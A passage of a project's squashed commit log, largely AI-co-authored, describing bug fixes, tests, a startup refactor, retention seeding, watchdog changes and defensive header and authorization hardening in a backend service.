`workspace-absorbs-session.md` updated at both seams the change touches (`resolveAgentLanding`'s landing rule and `_resolve_session_id`'s three states), and `architecture.md`'s Workspace section documents the new public `new_thread` field on the ent#83 headless surface. * Gating stated rather than inferred: "OSS-core by decision (ent#451)", matching the ent#326/#384/#392 convention. ONE CORRECTION, offered with evidence rather than silently applied. The review says "`test_ent457_portal_turn_kwargs.py` doesn't exist on `dev`, #2427 introduces it". It does exist on `dev` — added by d6a4bc10 (ent#457) — and #2427 modifies it. `git cat-file -e origin/dev:tests/unit/test_ent457_portal_turn_kwargs.py` succeeds, and `backend-unit-test` is failing on `dev` independently of any PR. So the body's "fails on dev today" stands. Everything else in the review is accepted as written. Verification: frontend 1497 -> 1506 (+9). Backend 392 passed on the portal selection, the same 2 pre-existing dev failures unchanged. Related to ent#451 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(resume): the respond→resume dispatch never ran — bad import, masked by its own stub (ent#329) Found by testing this PR's feature against a live local instance. ent#430 wires a Workspace answer to `spawn_resume_dispatch`, so this PR is dead on arrival without it — the client path would have hit the same wall the operator path has been hitting since ent#329 merged. THE BUG. `operator_resume_service.maybe_dispatch_resume` did: from services.task_execution_service import task_execution_service That name has never existed on that module; it exports `get_task_execution_service()`. The import sits on the FIRST line of the function, above the try, so every dispatch raised ImportError before it even read the opt-in. WHY NOBODY NOTICED, twice over: * the call is fire-and-forget, so the traceback surfaces only as asyncio's "Task exception was never retrieved" — nothing fails, nothing 500s, the answer is recorded and the config audit row is written. It looks like it worked. * the ent#329 unit test stubbed `services.task_execution_service` with `SimpleNamespace(task_execution_service=recorder)` — MANUFACTURING the very symbol whose absence was the bug. 21 tests green, feature dead. MEASURED on a live instance, opt-in ON: before: answer 200, audit row written, executions 0->0, log carries "cannot import name 'task_execution_service'" after : answer 200, executions 0->1, triggered_by=operator_response, audit `operator_resume_dispatch` with the execution id, 0 ImportErrors (The dispatched run then failed on a missing AGENT_AUTH_SECRET — a limitation of the test box, and correctly recorded as an honest FAILED row, which is ent#329's "never silent" requirement doing its job.) THE GUARD is the durable part, because the stub is the real lesson: a stub that invents an API the real module lacks converts a production crash into a green suite. `test_the_names_this_service_imports_actually_exist_on_the_real_modules` parses the REAL module source with `ast` — never the stubbed `sys.modules` entry, which is what made this invisible — and asserts every `from services.X import Y` resolves. Mutation-checked: reverting the import turns 11 tests red. Related to ent#430, ent#329 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(review): the dispatch could not run, the race loser spent, the flag over-claimed (ent#430) All three blockers from the review, each verified rather than argued. 1. THE FEATURE WAS INERT. `client_portal/asks/router.py` declares `answer_ask` as a plain `def`, so FastAPI runs it through `run_in_threadpool` — a worker thread with no event loop — and `asyncio.create_task` raises `RuntimeError: no running event loop` there. The `except` swallowed it, so every client answer recorded the answer and dispatched nothing: byte-for-byte the behaviour this PR exists to remove. Fixed in `spawn_resume_dispatch` rather than by flipping the route to `async def`, for the two reasons the review names: the route does blocking DB I/O, so `async def` alone would move it onto the loop; and ent#430's stated shape is ONE dispatch site, which moving the spawn back out to the caller would undo. It now detects the absence of a loop and hops back via `anyio.from_thread.run_sync` — Starlette's threadpool is anyio's, so the portal is always there on this path. Any future sync caller inherits the fix. A thread anyio does not own reaches neither branch. That is not a production shape, but it must not become the silent no-op this change removes, so it raises with the cause named instead. 2. THE RACE LOSER SPENT MONEY. `respond_to_operator_queue_item` returns None only when the row is GONE; when the row exists and has left `pending` — the race that actually happens — it returns a TRUTHY dict carrying `_status_conflict`, having written nothing. `if not updated` fell straight through it. The loser then dispatched a paid execution for an answer not in the database, and because the idempotency key hashes the response text, the loser's differing text yields a different digest: one queue item, two paid dispatches. `routers/operator_queue.py` already pops that flag before its own spawn; this is that rule, not a new one. Popped, not read, so the sentinel cannot serialize to the client. 3. `resume_requested` OVER-CLAIMED. It was computed after the swallowed spawn from the opt-in flag alone, so a spawn that raised still answered `true` — the exact failure AC #5 names, and given (1) that was EVERY production answer on an opted-in agent. It now reports what was actually scheduled. TESTS — the reason all three survived 24 green checks is that every existing test replaced `spawn_resume_dispatch` with a synchronous lambda, stubbing out the one call whose runtime context was the defect. `test_ent430_dispatch_actually_runs.py` drives the REAL spawn from a REAL anyio worker thread (the production context, not an approximation) and asserts the premise before the behaviour. The lost-race test uses the truthy `_status_conflict` shape that actually occurs, not the `None` shape that does not. Mutation-checked: reverting fix 1 turns 1 red, fix 2 turns 3 red, fix 3 turns 2 red. Writing those tests also caught a stubbing bug of my own, worth recording because it is the trap that hid the original: patching only `sys.modules` leaves `from services import operator_resume_service` resolving the PACKAGE ATTRIBUTE, so the real function ran anyway. Both paths are patched now. Related to ent#430 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(review): the answered ask said pending, and the docs described one caller (ent#430) Non-blocking findings from review pass 2. The three blockers landed in d11956a8. STATUS. `_project` mapped every row to pending/expired, so the response to a just-recorded answer read `status: "pending"` beside `resume_requested: true` — one row reporting both that nobody has answered it and that answering it started work. Harmless while the second field did not exist; contradictory once it did. `_status_of` adds `answered` (`responded`/`acknowledged`), reachable only from the answer response since the listing carries neither. Answered is checked BEFORE expiry — an answer that landed is a fact, and an `expires_at` that has since passed does not un-answer it; the obvious refactor is to test expiry first, which would make a slow client's own answer vanish, so the ordering is pinned. The existing test asserted `out.status in ("pending", "expired")` with the comment 'the point is it returned at all' — it was papering over exactly this. It now asserts `answered` and, on the spawn-failure path it covers, that `resume_requested` is False. THE TWO READS. `_resume_requested`'s docstring claimed it read 'the SAME accessor … so the two cannot disagree'. True of the accessor, false of the instant: it is a second read a task hop earlier, and an owner disabling the opt-in in between gets `true` and no resume. Collapsing them is not the fix — they answer different questions (one must produce a value for THIS response, the other is the authority at the moment it would spend), so the window is stated, with AC #5's own remedy named, rather than described away. DOCS. architecture.md's ent#329 section described a single caller and stated the CAS-win property the second caller broke. It now carries the second caller, the truthy-`_status_conflict` shape that defeated `if not updated`, the sync-endpoint/no-loop defect and its `anyio.from_thread.run_sync` fix, and what `resume_requested` actually reports. Related to abilityai/trinity-enterprise#430 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * chore(enterprise): bump the submodule pointer to main (a419812 -> 90f2f2c) (#2440) dev's pointer was OLDER than main's — an inversion, not just staleness. The next dev -> main release merge would have carried it backwards and undone ent#443's enterprise-side removal: OSS main -> 2a5def3 (ent#443: shared_sessions removed from enterprise) OSS dev -> a419812 (4 behind enterprise main, 2026-08-19) ENT main -> 90f2f2c 90f2f2c is a fast-forward from BOTH (a419812...main = ahead 0 / behind 4; 2a5def3...main = ahead 3 / behind 0), so nothing is being rewound. WHAT THE FOUR COMMITS ARE 2a5def3 refactor(rooms): remove shared_sessions — it now lives in OSS core (ent#443) ff0a4f1 fix(security): guard the enterprise system_settings sinks against cleartext credentials (ent#435) — the private twin of the OSS sink guard architecture.md already records as "the private submodule owns its twin" 6d82a3f docs(workspace): agent-initiated asks — design of record 90f2f2c feat(credential-vault): governed system credential vault module (ent#279) WHY IT MATTERS RATHER THAN BEING HOUSEKEEPING. ent#443 moved rooms into OSS core, and dev has that. With the stale pin an entitled dev install mounts the OSS rooms routers AND the enterprise shared_sessions module, and relies on main.py's include-order (OSS before register_enterprise) to decide which one serves. architecture.md documents that ordering as the transition safety net — this bump is the follow-through that ends the transition. VERIFIED BY BOOTING BOTH POINTERS against dev, same box, same DB shape: a419812 (today): 17 modules | shared_sessions registered: True | 6 room paths | 0 errors 90f2f2c (this): 17 modules | shared_sessions registered: False | 6 room paths | 0 errors Both boot clean and log "Trinity Enterprise modules registered" — the line deploy-dev greps. Module count is unchanged because shared_sessions leaves as credential_vault arrives. No duplicate room paths in either, confirming the ordering net held; after the bump there is nothing to net. Gitlink only — no OSS source changes, so public CI (which never checks the submodule out) is unaffected. Related to ent#443, ent#435, ent#279 * chore(metrics): code-health dashboard 2026-08-31 @ 135248e9 (#2438) Co-authored-by: Trinity Agent (trinity) <trinity-agent@ability.ai> * chore(deps): bump node (#2400) Bumps the docker-base-images group with 1 update in the /docker/frontend directory: node. Updates `node` from 24-alpine to 26-alpine --- updated-dependencies: - dependency-name: node dependency-version: 26-alpine dependency-type: direct:production dependency-group: docker-base-images ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> * fix(files): shared links were unopenable on mobile — Range, disposition, MIME, CORP (trinity-enterprise#461) (#2439) * fix(files): shared links were unopenable on mobile — Range, disposition, MIME, CORP (trinity-enterprise#461) The bytes were never wrong. Verified from the Cloudflare edge, the object returned HTTP 200 with correct content-length and correct WAV bytes for every user-agent tried, and the signature check worked. The RESPONSE SHAPE was wrong in four ways at once, and each one alone is enough to break playback in an iOS in-app browser: * no Range support — `Range: bytes=0-1023` returned 200 with the whole 2 MB body and no `accept-ranges`. iOS Safari and Telegram's player require a 206 to start audio at all, so this alone made the file unplayable. * `content-disposition: attachment` — a forced 2 MB download inside Telegram's iOS browser is a blank screen. * `audio/x-wav` under `nosniff` — unregistered type, so a strict player declines it and the browser is forbidden from guessing better. * `cross-origin-resource-policy: same-origin` on a link whose entire purpose is to be opened from another platform. Plus `cache-control: no-store`, which forbids the in-app browser from buffering media it will not play without buffering. THE INLINE CHANGE IS A NARROWING, NOT A REVERSAL. The old code forced `attachment` on everything with the note 'defense against XSS via agent-uploaded HTML', and that reasoning is still correct — this route serves agent-authored bytes from the same origin as public chat. So inline is an ALLOWLIST (`_INLINE_SAFE_TYPES`: audio, video, image, PDF) and `text/html`, `application/xhtml+xml` and `image/svg+xml` stay attachments. SVG is called out because it is the one a reviewer waves through: it is an image by name and a script host in fact. The type is python-magic-detected from the file's own bytes at share time, never agent-supplied, and its unavailable-fallback (`application/octet-stream`) sits outside the allowlist, so the failure direction is `attachment`. `nosniff` is kept and matters more now, not less. TWO THINGS THE ISSUE DID NOT ASK FOR, both found while implementing: * `Content-Length` came from the DB's `size_bytes`, written at share time. Any drift from the file on disk is unrecoverable for the client — too small truncates, too large hangs — and Range math against a wrong total produces a `Content-Range` that contradicts the body. It now comes from `os.path.getsize`, with a WARNING on divergence. * a media player fetches one file as MANY ranged requests. Counting each as a download would turn one play into dozens and write an audit row per chunk, so the counter and the audit fire only on the transfer START (a plain GET, or a range beginning at byte 0). VERIFIED end-to-end against the real route, not just the parsers: full GET : 200 | type audio/wav | disp inline | ranges bytes | corp cross-origin | cc private, max-age=3600 range 0-1023 : 206 | body 1024 | bytes 0-1023/2048000 | bytes ok suffix -500 : 206 | bytes 2047500-2047999/2048000 | bytes ok unsatisfiable : 416 | bytes */2048000 HEAD : 200 | accept-ranges bytes | content-length 2048000 no sig / bad sig / unknown id / expired : 401 / 401 / 404 / 410 html file / svg file : attachment That covers the issue's Definition of Done line by line, including that the signature check still rejects unsigned and expired requests. 46 new unit tests, weighted to the allowlist and to the range parser's silent-corruption case (`bytes=-500` is the LAST 500 bytes; reading it as start=0 serves the wrong bytes under a 206, which no client can detect). Related to trinity-enterprise#461 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(files): the CORP header was inert — the security middleware clobbered it (trinity-enterprise#461) Found by testing the PR against a real local instance rather than a TestClient. `main.add_security_headers` runs after EVERY route and set `Cross-Origin-Resource-Policy` with a plain assignment. So the `cross-origin` policy the file-download route sets — one of the four fixes in this PR, and the one that decides whether Telegram, Slack or WhatsApp can embed or preview the link at all — was silently overwritten back to `same-origin` on its way out. The fix shipped INERT and every test passed, because a bare `FastAPI()` + router harness has no middleware. Measured on the running server: before: cross-origin-resource-policy: same-origin after : cross-origin-resource-policy: cross-origin (file route) cross-origin-resource-policy: same-origin (/health, unchanged) `setdefault` rather than a route allowlist: absence still resolves to the strict default, so every other route keeps today's behaviour and a new route has to opt out deliberately rather than inherit an exception. Pinned by a source assertion — asserting it end-to-end needs a live stack, and what must not regress is the `setdefault`; an edit back to `=` would re-break it invisibly. Related to trinity-enterprise#461 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> * refactor(main): lifespan is an orchestrator, not a 580-line procedure (#1028) (#2437) * refactor(main): lifespan is an orchestrator, not a 580-line procedure (#1028) `main.py::lifespan` was 580 lines at cyclomatic complexity 109 — the longest function in the backend and the first item the 2026-06-02 refactor audit named. It is now 25 lines at CC 1: a flat list of `await _phase()` calls over twelve startup helpers and four shutdown helpers. WHAT MOVED, AND THE PROOF THAT NOTHING ELSE DID. Every body is verbatim. That is asserted mechanically rather than claimed: extracting all non-blank lines from the sixteen helpers in call order and diffing against the original `lifespan` body gives 518 = 518, identical. The only relocated line is `yield`. No behaviour change, no logic touched, no try/except reshaped — each phase keeps its own guard, because a failing phase must not take the boot down, which is what the original did. WHY THE TEST IS THE POINT. Splitting the function is easy; keeping it split is not, and the thing worth guarding is not the line count — it is THE ORDER. Boot ordering is load-bearing in ways invisible at the call site: a reviewer looking at sixteen await lines cannot see that moving one breaks something, because the coupling lives in the bodies. Before this it was implicit in a function nobody could read in one sitting; after it, it is a list — which is an improvement only if something enforces the list. So `tests/unit/test_1028_lifespan_phases.py` pins the sequence WITH the reason for each constrained pair recorded beside it: logging first so a later hang cannot swallow the boot log (#858); the event bus before any WebSocket client needs a live dispatcher (#306); Docker/system-agent before the fleet sweepers; startup recovery before the channel transports, so inbound traffic cannot create an execution that races the reconcile; the event-bus drain LAST on shutdown so late broadcasts still land. A reorder now fails with the reason attached instead of surfacing weeks later as a boot bug nobody connects to this commit. It also pins the `yield` split (a phase appended after it silently becomes shutdown work), the per-helper thresholds the issue asked for (<100 lines, CC <20), and orphan/double calls. Mutation-checked five ways — recovery moved after the transports, event bus after Docker, a dropped shutdown phase, the drain no longer last, a phase pushed past `yield` — all caught. ONE DEFECT THIS FOUND IN ITSELF, worth recording because it is the failure this refactor's shape invites. The extraction moved `@asynccontextmanager` by one definition: it landed on the first phase helper and `lifespan` was left a bare async generator, which FastAPI cannot use as a lifespan. Boot-breaking — and the entire 12,900-test unit suite stayed green, because nothing in it imports `main` and asks what shape `lifespan` is. It surfaced only from an explicit import check (`iscoroutinefunction` on each helper returned False for one, with `co_filename` pointing into contextlib). Fixed, and pinned by its own test. Docs: the `main.py` row in architecture.md now records that the order is the contract and where the constraints are, so the next person to add a startup step knows it belongs in a phase helper. Scope: one file per the issue's own recommendation. The remaining ACs (`routers/settings.py`, `routers/ops.py`, `services/git_service.py`, `services/agent_client.py`, `routers/public.py::public_chat`) stay open on #1028. Related to #1028 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(review): three phase helpers used locals the split left behind (#1028) /review's scope pass caught a real runtime break in my own extraction, and the interesting part is that three separate verifications had already passed on it. `main.py` never imports `database` at module level. The old `lifespan` did `from database import db as _db` once near the top, and three blocks 100+ lines later used it through the enclosing function scope: the system-agent `setup_completed` gate, the Telegram transport and the WhatsApp transport. `message_router` was the same shape — imported in the Slack block, used by the Telegram one. After the split all four are NameError. The severity is in the swallow. Every one of those use sites sits inside `try/except Exception`, so the boot SUCCEEDS: the log carries "Error starting Telegram transport: name '_db' is not defined" and the Telegram and WhatsApp integrations are simply never wired. A silently dead integration, not a failed boot — and the per-phase guard that makes each phase fail-open is exactly what hides the extraction bug. Why the existing checks missed it, all three: the AST equivalence proof compares LINES and the lines are identical; the structural pin asserts order, thresholds and decorators, not name resolution; and the `import main` smoke never RUNS `lifespan`, so nothing resolves those names at import time. Fixed by re-materialising each import in the helper that needs it — the original's own idiom — with a comment saying why it is there, so a later reader does not "tidy" it back out. CORRECTION TO THE CLAIM: the bodies are no longer byte-identical. They are verbatim EXCEPT these four re-materialised imports, which is now what the PR body and the docstrings say. A verbatim claim stops being true the moment a leaked name has to be restored, and quietly keeping the claim is worse than the bug. Also pinned, because this gets more likely with every future split of the same function: test_no_phase_helper_depends_on_another_phases_locals asserts, per helper, that `names_loaded - names_bound - module_globals` is empty. Mutation- checked by deleting the restored `_db` import — reproduces the shipped bug and turns the suite red. Also: the phase-count docstrings said "of 10" in 9 helpers; the transports were split into three after that text was written, so it is 12. learnings.md gains the class: extract-method has a failure mode the diff cannot show and an import smoke cannot reach. Related to #1028 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(review): the verbatim claim survived in three docstrings (#1028) Re-review finding. The previous commit corrected "bodies are byte-identical" in the PR body but left the same claim standing in the code, where it is more likely to be believed: the three helpers that gained a re-materialised import still said "the body below is unchanged". A stale claim next to the exact line that falsifies it is worse than no claim — it is the thing a future reader checks against before deciding the import looks redundant. Now each says verbatim EXCEPT the restored import, and points at the comment explaining why it is there. Related to #1028 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(tests): two pre-existing lifespan guards read a function the split emptied (#1028) CI's regression diff caught 4 new failures, deterministic across all three seeds. Both guards assert properties of `lifespan`'s SOURCE, and #1028 moved that source into phase helpers — so they were asserting things about a function that is now 25 lines of `await` calls. The properties still hold. The guards had stopped being able to see them, which is the worse failure: a guard that silently stops covering its subject reads identically to one that passes. test_1267_lifespan_db_alias — and this one is pointed: #1267 IS the bug class /review caught in this branch. It fired when the transport blocks called a bare `db` while only `_db` was in scope, NameError swallowed by the surrounding try/except and surfaced as a misleading "Error starting Telegram transport". The split re-introduced the same class in a new form (`_db` bound in phase 1, read in three later helpers), and this guard could not see it because it only ever looked inside `lifespan`. So it now follows the calls: `_lifespan_surface()` returns `lifespan` plus the helpers it awaits, and every check scans all of them. The alias check is STRENGTHENED rather than merely relocated — binding `_db` somewhere on the surface is no longer sufficient, because after the split each helper is its own scope, so every function that READS `_db` must bind it. That assertion fails on the exact defect this branch shipped. test_858_dockerfile_unbuffered — the #858 invariant is an ORDERING one (setup_logging -> first-run notice -> event_bus.start), and after the split those three sit in three different functions. `_lifespan_body()` now flattens the phases inline in call order, so the existing index comparisons keep meaning what they meant. An unresolvable helper is left as the bare `await` rather than skipped, so a phase this cannot expand can never silently drop the statements it contains. No production code changed. Related to #1028 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(retention): every install writes its own retention rows, not just fresh ones (#2085) (#2432) #1645 closed #1638 by reverting OPS_SETTINGS_DEFAULTS to the wide historical values and applying the #1039 community floor through explicit system_settings rows seeded on FRESH installs only. Every install that has ever upgraded rather than been created fresh therefore had no rows at all, so cleanup_service resolved all 11 windows at prune time from a dict that ships inside the backend image and is replaced on every rebuild. The only thing between a future edit to that dict and the #1638 failure mode — a silent hard-DELETE of existing data seconds after the next boot, green /health, no error — was a code comment. database._seed_retention_windows{,_engine} now writes an explicit row for every RETENTION_OPS_KEYS member that has none, at the value already in force, on every boot and regardless of install age. Behaviourally inert: it writes the number the prune already used, so nothing prunes differently the day it runs. Three properties are load-bearing: * The key set is DERIVED from RETENTION_OPS_KEYS, never a second hand-written list, so a window added later is covered the day it ships instead of quietly inheriting the image default forever (the issue text said "eight windows"; it was 11 by the time this landed — ent#433 added two, #2216 a third). * Ordering. It MUST run after _seed_fresh_install_retention. Both writers are insert-or-ignore, so the first to reach a key wins: reversed, a fresh install silently gets the wide defaults instead of the #1039 floor — the community floor deleted by the change meant to protect retention. Pinned behaviourally and by a source-order guard on both the SQLite and engine arms. * It must actually run. The first cut imported the constants from services.settings_service, which has a module-level `from database import db`. init_database() is called from DatabaseManager.__init__, i.e. while database.py is still executing its own module body, so database.db does not exist yet and that import raises ImportError — which this seed's fail-safe contract then SWALLOWS. The feature was dead on every boot with a fully green unit suite, because every in-process test calls the function after database has finished importing. RETENTION_OPS_KEYS, OPS_SETTINGS_DEFAULTS and NON_ROW_RETENTION_OPS_KEYS therefore move to config.py (a leaf, already home to OPS_SETTINGS_VALIDATION and validate_ops_setting for these same keys) and are re-exported from settings_service, extending the pattern COMMUNITY_FRESH_INSTALL_SEED already used for exactly this reason. Two tests now pay for a real subprocess import; both fail if the import is reverted. Stated tradeoff: a seeded install stops inheriting later changes to the code default in EITHER direction, so widening a window for existing installs becomes a deliberate migration rather than something that arrives silently with an image. That is the intended consequence — retention becomes explicit per-install config instead of implicit inheritance from whatever image happens to be running, symmetric with the rule the OPS_SETTINGS_DEFAULTS comment already imposes on narrowing. backup_retention_days is seeded too. That makes OPS_SETTINGS_DEFAULTS' value the one that lands in the DB for a key whose private reader (db_backup_service.effective_backup_retention_days, inverted coercion) falls back to its own module constant; the two are now parity-tested. No schema change, no migration — row inserts at boot, same as the #1638 seed. Not fixed here: generic DELETE /api/settings/{key} carries no RETENTION_OPS_KEYS guard (only PUT does), so an admin can still delete a window row. After this it is transient — the next boot re-seeds it — but the asymmetry with PUT remains. Unblocks ops#300 once deployed: with rows on every install, /update step 8e can drop its source-text guessing for a plain assertion over stored values. Closes #2085 * fix(watchdog): stop false-orphaning executions parked before the agent spawns them (abilityai/trinity#2433) (#2435) * fix(watchdog): stop false-orphaning executions parked before the agent spawns them The cleanup watchdog's proof-of-life (GET agent/api/executions/running: running ∪ recently-completed) could not see an admitted execution that was waiting in the backend's global agent-call queue, in the agent's CPU-sized default thread pool, behind the agent chat lock, or in the post-exit drain before unregister(). After the 60s grace it wrote a false `failed` ("completed on agent but status not reported"), released the slot, and the parked call then ran anyway — billed, overbooked, its late 200 silently overwriting the row (#378). Reproduced twice locally; three mechanisms, one string. Orphan now means: the agent does not know the execution AND no live backend dispatcher owns it. - agent server: /api/executions/running gains `pending_ids` (accepted at /api/task, /api/chat and the #1083 async spawn but not yet spawned; lazily expired) and `recently_completed_ids` covers exited-but-registered handles. Cancel-while-pending is consumed by register() (SIGKILL at spawn, #679 marker kept); the pre-spawn 409 is only an optimisation. Headless runs use a dedicated 32-thread pool pinned to MAX_PARALLEL_TASKS_CEILING_MAX; the Gemini runtime now registers its subprocess at both Popen sites (it never did). - backend: every outbound agent call is registered for its whole lifetime (track_inflight_dispatch — queue wait, connect retries, POST) in an in-process registry plus a cross-worker Redis liveness marker execution:inflight:{id} (60s TTL, one refresher task per process, 15s tick). The watchdog reads a tri-state verdict (alive / absent / unknown) and withholds recovery on `alive`, and on `unknown` only while a dispatcher could still own the row; a process with no Redis reads `absent` (its own registry is the whole truth). CleanupReport.dispatch_inflight_skipped counts withheld rows; the orphan error string states what was observed. - a park no longer spends the run's budget: at grant, a park ≥ 5s restamps started_at (admission kept in queued_at, the drained-backlog shape, CAS on RUNNING + NULL lease) and renews the slot lease (ZADD XX + EXPIRE together); the refresher renews the slot every tick while parked. - parked rows are cancellable and agent-scoped: terminate consults the in-process registry, then the cross-worker cancel key; a parked phase is finalized CANCELLED and the grant raises BackendAgentCallCancelled, where the dispatcher writes CANCELLED itself (never FAILED; the /chat arm answers 409). - terminate_execution gains ONE agent-scope gate at its entry for all three arms: the row behind the caller-supplied task_execution_id must belong to the agent the route proved (uniform 404; an unreadable row fails closed with 503). The proxy arm's 404 scoped only execution_id while the CANCELLED CAS was keyed on task_execution_id, so a caller authorised on agent A could flip agent B's running row (found by the /cso --diff verifier; report under docs/security-reports/). - packaging: BACKEND_AGENT_CALL_LIMIT / BACKEND_AGENT_CALL_QUEUE_TIMEOUT_S forwarded in prod + hosted compose and documented in .env.example; the >5s queue-wait warning fires on both acquire branches. Verified: full unit suite under CI conditions 12969 passed / 0 failed (baseline origin/dev 12863 / 0); Repro A 10/10 success (2 parked 485s, withheld at both watchdog cycles, re-anchored at dispatch); Repro B 8/8 success (5 parked, two waves); live pending_ids probe on the agent. The agent-side half needs a rebuilt base image; the backend half alone covers old images through the whole-call marker. Fixes abilityai/trinity#2433 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(watchdog): close the cross-worker cancel race and bound the exited-but-registered set (#2435 review) Review of the #2433 fix found that it reintroduced the #378 symptom in a narrower window and turned a pre-existing registry leak into a permanent one. 1. Cross-worker cancel acted on a marker phase that predated its own write. `entry.phase` flipped parked->calling in memory only; the marker was rewritten by the 15s refresher, so `execution:inflight:{id}` advertised `parked` for up to a full tick after the POST had begun. Under --workers 2 about half of all cancels are served by the worker that does NOT own the coroutine and therefore read it: the row was finalized CANCELLED and its slot released while the agent ran the turn to a billed completion whose SUCCESS then lost the CAS. Closed by ordering, not by narrowing — the owner publishes the transition in the SAME round-trip that reads the cancel key (`_publish_calling_and_check_cancel_sync`), and the remote sets the cancel key BEFORE re-reading the phase (`_set_cancel_then_reread_phase_sync`), so an observed `parked` gives W_remote(cancel) < R_remote(marker) < W_owner(marker) < R_owner(cancel) and the grant is guaranteed to see the key. Neither side pays an extra round-trip. The owner gates the publish on the ENTRY's age rather than this attempt's park, because `track_inflight_dispatch` wraps the whole retry loop and a retry can grant instantly under a marker a tick left saying `parked`; the remote's scope check stays on its first read, so no key is written for a foreign agent. 2. `list_recently_completed_ids` reported exited-but-registered ids with no age bound, so a leaked entry was agent-known forever and the watchdog never recovered that row — a regression against pre-#2433, where `list_running()` self-healed it. Now bounded by the same 300s TTL as the buffer, measured from when the exit was first OBSERVED (not `started_at`, which would drop a long turn the moment it entered its drain). The leak is also closed at source: `register()` SIGKILLs the group for a cancel that arrived while pending, so the following `stdin.write` can raise BrokenPipeError — all three prompt-writing runtimes (claude_code, gemini x2) now pair that write with `unregister()` on failure. 3. `restamp_execution_dispatch` is a sync sqlite write and ran on the event loop, while both semaphores are held and the queue is by definition congested. Now `asyncio.to_thread`, like the slot renewal beside it. Smaller items from the same review: - /api/chat sizes its pending entry to PENDING_CHAT_TIMEOUT_SECONDS (7200s): `ChatRequest` carries no timeout and a chat can wait on the execution lock for the agent's whole budget, so the /api/task default evicted the entry mid-wait. Its discard now wraps the lock acquisition, so a request cancelled while waiting (client disconnect) cannot leak one. - Phase 3 batches its in-flight verdict read (one MGET per cycle, not per row), matching Phase 0. - `renew_slot` refuses, score untouched, when the metadata hash has already expired: `ZADD XX` succeeds while `EXPIRE` no-ops, so it used to report a renewal it had not performed and re-anchor exactly the ZSET-without-hash state canary S-03 calls `missing`. - `register_pending` logs at DEBUG (it fires on every /api/task and /api/chat). - Documented that the in-flight marker is not eviction-proof under the prod `allkeys-lru` policy. Tests: tests/unit/test_2433_review_fixes.py (15) — 11 of them fail against cfc2cfef, verified in a worktree. Full unit suite under CI conditions (clean origin/dev worktree, no submodules): 12985 passed, 0 failed. Refs abilityai/trinity#2433 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> * test(resume): the guard architecture.md promised did not exist (ent#430 review) The reviewer's one condition before merge. `architecture.md`'s 'Two callers, one rule' bullet said the CAS-win rule was 'guarded now by enumerating every caller rather than the one route ent#329 knew about, so a third site inherits the rule instead of re-losing it'. No such guard existed: `test_dispatch_hangs_off_the_cas_win_only` read exactly one hardcoded file, `routers/operator_queue.py` — so `client_portal/asks/service.py`, the caller this PR adds and the one that LOST the rule, was outside its reach. A sentence claiming protection that is not there is worse than no sentence: the next person adding a dispatch site reads it and stops looking. This is the shape #2428 filed a learnings entry about this morning — a comment that names a failure mode is a request for a guard — so it lands the same way. DISCOVERED, NOT LISTED. `_dispatch_call_sites` walks the backend tree for callers, because a hardcoded list structurally cannot catch the case that matters: the file it would need to check is the one being added. ASSERTED AGAINST CODE, NOT FILE TEXT — and this is the part I got wrong first. The initial version tested `"_status_conflict" in source` against the raw file and MUTATION PROVED IT BLIND: deleting the check from the `if` still passed, because the long comment above it explaining the race still contained the string. A source-substring guard cannot tell a check from a paragraph about the check — the same defect the guard exists to prevent, inside the guard. It now parses each dispatching function and compares `ast.unparse` output, where comments do not survive. Verified by three mutations, each caught: 1. delete the check in asks/service.py, keep the comment -> FAIL 2. neuter the check in routers/operator_queue.py -> FAIL 3. add a brand-new third caller with no check at all -> FAIL and all 23 pass on the real tree. `test_the_discovery_walk_finds_both_known_callers` pins the floor, so a rename of the helper cannot leave the loop iterating an empty list and passing in silence — the failure a discovery guard trades for the one it fixes. ALSO (non-blocking, from the same review): `WorkspaceAsk.status`'s comment still read 'pending | expired (terminal ones are not listed)' after `_status_of` gained a third value. Corrected to say where each value is reachable from. The remaining non-blocking item — `resume_requested` and the new `answered` status are unconsumed by any surface — is deliberately NOT in this commit. It is a product decision about where a transient confirmation lives, and it is filed so it stays a decision rather than becoming an oversight. Related to abilityai/trinity-enterprise#430 Related to abilityai/trinity-enterprise#329 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(systems): the four post-deploy endpoints — a nonexistent DB call, an ungated restart, a broken export round-trip, and prefix-collision membership (#2373) The deploy half has been hardened by every commit since ent#124; the four post-deploy endpoints were essentially untouched since 2025. ## Membership is now ONE predicate `get_system`, `restart_system` and `export_manifest` each matched `startswith(f"{system_name}-")`, so an operation on `acme` also captured every agent of a system named `acme-extra` — including `restart`, which stops and starts containers. Three copies of a wrong rule. `system_service.system_member_names` is the one rule, and it prefers TAGS: `configure_tags` already applies the system name to every member, so a tag is a RECORD of membership where a prefix is an inference from a naming convention. The prefix survives only as a fallback for pre-tag deployments, narrowed so an agent claimed by another system's own tag is excluded — a tagged `acme-extra` agent is never captured by `acme` even there. A failing tag read degrades to the prefix rather than 500ing. Residual, stated rather than hidden: two systems deployed BEFORE tagging where one name is a prefix of the other remain ambiguous, because nothing distinguishes them. This is also the prerequisite for the teardown verb, where the same collision would delete rather than restart. ## GET /{name} returns real schedules It called `db.get_agent_schedules`, which does not exist — the facade exposes `list_agent_schedules` and `database.py` deliberately has no `__getattr__` fallback. The AttributeError was swallowed by the surrounding `except Exception`, so every response omitted `schedules` for every agent and logged one warning each, while `tests/test_systems.py` never asserted on the key. Exactly the failure mode the db facade's own comment warns about — so the test also pins that the fallback stays absent, since adding one 